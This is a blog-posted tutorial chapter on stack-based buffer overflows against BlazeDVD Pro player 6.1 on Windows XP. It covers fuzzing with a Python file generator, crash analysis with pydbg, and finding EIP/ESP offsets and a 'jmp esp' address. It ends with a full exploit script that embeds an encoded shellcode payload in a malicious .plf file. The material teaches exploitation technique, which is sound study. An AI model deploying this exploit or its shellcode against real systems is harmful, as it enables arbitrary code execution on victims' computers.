27.1
Introduction
Figure 27-1 Stack Based Buffer Overflow Basic Concept
Stack-based buffer
overflow techniques takes advantage of the features of the register. Fuzzing
repeatedly attacks an application by changing the input value in an attempt to
cause a Buffer Overflow error. The state of the memory is observed at that time
using a debugger to search
for input values that to induce the intended result.
A stack-based buffer
overflow technique mainly uses the EIP and ESP registers. First, the two
registers are overwritten with input values, and you must determine the amount
of data that will be required to overwrite the two registers. The second thing
to do is to find the instruction address that can move the application
execution flow to the ESP register. Finally, add the hacking code to the input
value and run hacking routine.
Let's
take a look at the detailed behavior of the stack-based buffer overflow. The
value that is to be entered in the application should be prepared through
iterative fuzzing. If you enter the value that is prepared in the application, the
hacking code will be executed as follows.
Figure 27-2 Stack Based Buffer Overflow behavior
Insert
the hacking code into the stack area indicated by ESP. Insert the address for
the “jmp esp” instruction into the EIP. The address is entered as part of the
input value. The program is executed where the buffer overflow occurs and
refers to the EIP register address. In other words, the “jmp esp” command is
executed. Since the ESP register has a hacking code, it is possible to perform
the operations that the hacker intended.
The following
code can be executed under Windows XP (it does not work in a Windows 7
environment). However, since you can easily understand the buffer overflow
concept by looking at the code, let's take a look at it. Windows 7 applies ASLR
(Address Space Layout Randomization) for security reasons, which monitors any
address other than the correct address to for use with the DLL. This example
operates normally until you find the address for the “jmp esp” command
(actually any address).
27.2
Fuzzing and Debugging
The site “http://www.exploit-db.com/”
describes numerous exploits. Refer to
“http://www.exploit-db.com/exploits/26889”, which was used to hack the
“BlazeDVD Pro player 6.1” program. From the site, you can download both the
hacking source code (Exploit Code) and the target application (Vulnerable App).
The
“BlazeDVD Pro player” is a program that runs a “plf” file. Create a “plf” file
that has repeated letters “a” and try fuzzing. First, create a file that has “\x41”,
which corresponds to the hex code for the “a” character.
junk ="\x41"*500
x=open('blazeExpl.plf', 'w')
x.write(junk)
x.close()
|
Let's
create a file with 500 characters. If no errors occur, continue the test while
increasing the number of repetitions. When you open the “blazeExpl.plf” file by
running the application, the following error occurs, the program is terminated,
and the buffer overflow error will occur.
Figure 27-3 Execution Result
Now
that we have succeeded in fuzzing, let's create a debugger that can determine
the memory status. Use the “pydbg” module that was discussed in the previous
chapter. Before running the debugger, you must run the “BlazeDVD Player” first.
Look at the processes tab in the Task manager to confirm that the process name has
been entered into the debugger.
from pydbg import *
from pydbg.defines import *
import struct
import utils
processName = "BlazeDVD.exe" #(1)
dbg = pydbg()
def handler_av(dbg): #(2)
crash_bin = utils.crash_binning.crash_binning() #(3)
crash_bin.record_crash(dbg) #(4)
print crash_bin.crash_synopsis() #(5)
dbg.terminate_process() #(6)
for(pid, name) in dbg.enumerate_processes(): #(7)
if name == processName:
print "[information]
dbg attach:" + processName
dbg.attach(pid)
print "[information]
start dbg"
dbg.set_callback(EXCEPTION_ACCESS_VIOLATION,
handler_av) #(8)
dbg.run()
|
Make
a debugger that is similar to the API Hooking technique, and declare a callback
function and register it in the pydbg class. The detailed operation method is
as follows.
(1)
Setting Process Name: Check the name of the application in the “Processes”
tab in Task Manager.
(2)
Declaring callback function: Declare the callback function that will be
called when the event occurs.
(3)
Creating crash_binning Object: Create a “crash_binning” object that can
confirm the memory state and the register value when the event occurs.
(4) Saving the State Value at the Time of the Event:
Save Information (assembly instructions, the state of the stack
and registers, the status of the SEH) around the
address where the event occured.
(5)
Printing the State Value: Print the state values stored at the time that
the event occurred on the screen.
(6) Process Termination: Terminate the process
that caused a buffer overflow.
(7)
Extracting the Process ID and Obtaining a Process Handle: Derive the
process ID according to the name that had been previously set. Obtain the
handle corresponding to the ID and save it in the pydbg class.
(8)
Setting callback function: Register the event, and set a callback function
that will be called when the event occurs.
Now
let's run the debugger. As previously mentioned, open the BlazeDVD Player first,
and the debugger will operate normally. Proceed in the order of [run BlazeDVD
Player] -> [run bufferOverflowTest.py] -> [open blazeExpl.plf]. As soon
as the file is opened, the application stops and the debugger prints the
following message.
The
messages are divided into four regions. The first is an error message that
shows the thread information that caused an error with the error information. The
second is the CONTEXT DUMP area. It shows register information that is used
during the process execution. The third is the disasm area. About 10 assembler
instructions are shown around the address where the error occurred. The last
area is the SEH (structured exception handling) unwind. SEH is provided by the
Windows OS and prints out results by tracing the link information related to
the exception handling. The area of interest here is the CONTEXT DUMP area. As
the input value is adjusted, let’s look at the changes in the data that is
stored in the EIP and in the ESP.
27.3
EIP Overwrite
Since
the characters that are entered for fuzzing are a series of the same characters,
it is therefore impossible to know when the data enters the EIP. Let's track
the flow of data through the input string with a specified rule. You can
generate a pattern by using a Ruby Script, but for a simple test, let’s make it
using a text editor.
Figure 27-5 Test String
The
UltraEdit program supports column mode editing. Copy “abcdefghijklmnlopqrstuvwxyz”
for 10 lines. Change into the column mode and copy in order from 0 to 9 for
each column. Then make the above string into one line to recreate the fuzzing
program.
The
same as that above can be use to run the debugging application. If you look at
the CONTEXT DUMP area, you can see that the EIP register contains a value of “65356435”.
This value is in hex code, and the code transformation is necessary to know
where the test string is located.
Figure 27-6 Debugging Result
In
Python, code can be converted using a simple function. The result of a
converstion into ASCII code is “e5d5”. Since addresses go in the direction
opposite to the input, the string then becomes “5d5e”. Find the “5d5e” starting
position in the test string.
Figure 27-7 Code Conversion
EIP
is updated with the 8 bytes from the address line 261 of the test string.
5.5.4
ESP Overwrite
Now
fill in the value of the ESP register that will store the instructions, and
perform the test in the same way. The first 260 bytes of data cause an overflow,
and the next four bytes are the EIP address. The front 260 bytes are filled with
“a” and the remaining four bytes are filled with “b”. Finally, let's debug it
with a test string.
The
results indicate that the ESP register contains a string that begins with “i0”.
It is the 17th value from the test string. Fill the previous 16 bytes with any
value, and fill the remaining bytes wth the hacking code. Thereore it is now
possible to easily succeed in hacking the program.
Figure 27-8 Debugging Result
Now
that you have completed most of the input necessary for the hack, plase the “jmp
esp” address instruction in the second line, and put a hex code indicating “NOPS”
in the third line. Then, insert the hacking code in the last line.
Figure 27-9 String for Hacking
27.5
Find the jmp esp instruction address
You
must find the address of the “jmp esp” instruction that has been loaded into
memoy. Although a variety of techniques can be used, let's use the simplest
“findjmp.exe” program. The program can be easily found through an Internet
search, for example in the “http://ragonfly.tistory.com/entry/jmp-esp-program”
site. It is very simple to use the program. Go to the directory where the
“fiindjmp.exe” file is located by opening the command prompt in Windows, and just
type the following command.
Figure 27-10 Find jmp esp instruction address
“findjmp”
receives two arguments, the first is a DLL to find the instruction and the
second is the register names. Let's use the most commonly referenced
“kernel32.dll” in the program. Multiple “jmp esp” addresses are detected by
using the very first value.
27.6
Execution of the attack
Although
briefly mentioned earlier, the last line of code does not operate properly. In
order to prevent a buffer overflow attack in Windows, features such as DEP
(Data Execution Prevention) and Stack Protection have been added. If you want
to verify that the program operates correctly, it is necessary to test by
installing Windows XP SP1. Next, let's look at advanced buffer overflow
techniques that can bypass the enhanced security features in Windows 7.
from struct import pack
junk ="\x41"*260
junk+="\x77\x4F\xFB\x76"
junk+="\x90"*16
junk+=("\xd9\xc8\xb8\xa0\x47\xcf\x09\xd9\x74\x24\xf4\x5f\x2b\xc9" +
"\xb1\x32\x31\x47\x17\x83\xc7\x04\x03\xe7\x54\x2d\xfc\x1b" +
"\xb2\x38\xff\xe3\x43\x5b\x89\x06\x72\x49\xed\x43\x27\x5d" +
"\x65\x01\xc4\x16\x2b\xb1\x5f\x5a\xe4\xb6\xe8\xd1\xd2\xf9" +
"\xe9\xd7\xda\x55\x29\x79\xa7\xa7\x7e\x59\x96\x68\x73\x98" +
"\xdf\x94\x7c\xc8\x88\xd3\x2f\xfd\xbd\xa1\xf3\xfc\x11\xae" +
"\x4c\x87\x14\x70\x38\x3d\x16\xa0\x91\x4a\x50\x58\x99\x15" +
"\x41\x59\x4e\x46\xbd\x10\xfb\xbd\x35\xa3\x2d\x8c\xb6\x92" +
"\x11\x43\x89\x1b\x9c\x9d\xcd\x9b\x7f\xe8\x25\xd8\x02\xeb" +
"\xfd\xa3\xd8\x7e\xe0\x03\xaa\xd9\xc0\xb2\x7f\xbf\x83\xb8" +
"\x34\xcb\xcc\xdc\xcb\x18\x67\xd8\x40\x9f\xa8\x69\x12\x84" +
"\x6c\x32\xc0\xa5\x35\x9e\xa7\xda\x26\x46\x17\x7f\x2c\x64" +
"\x4c\xf9\x6f\xe2\x93\x8b\x15\x4b\x93\x93\x15\xfb\xfc\xa2" +
"\x9e\x94\x7b\x3b\x75\xd1\x7a\xca\x44\xcf\xeb\x75\x3d\xb2" +
"\x71\x86\xeb\xf0\x8f\x05\x1e\x88\x6b\x15\x6b\x8d\x30\x91" +
"\x87\xff\x29\x74\xa8\xac\x4a\x5d\xcb\x33\xd9\x3d\x0c"
)
x=open('blazeExpl.plf', 'w')
x.write(junk)
x.close()
|
No comments:
Post a Comment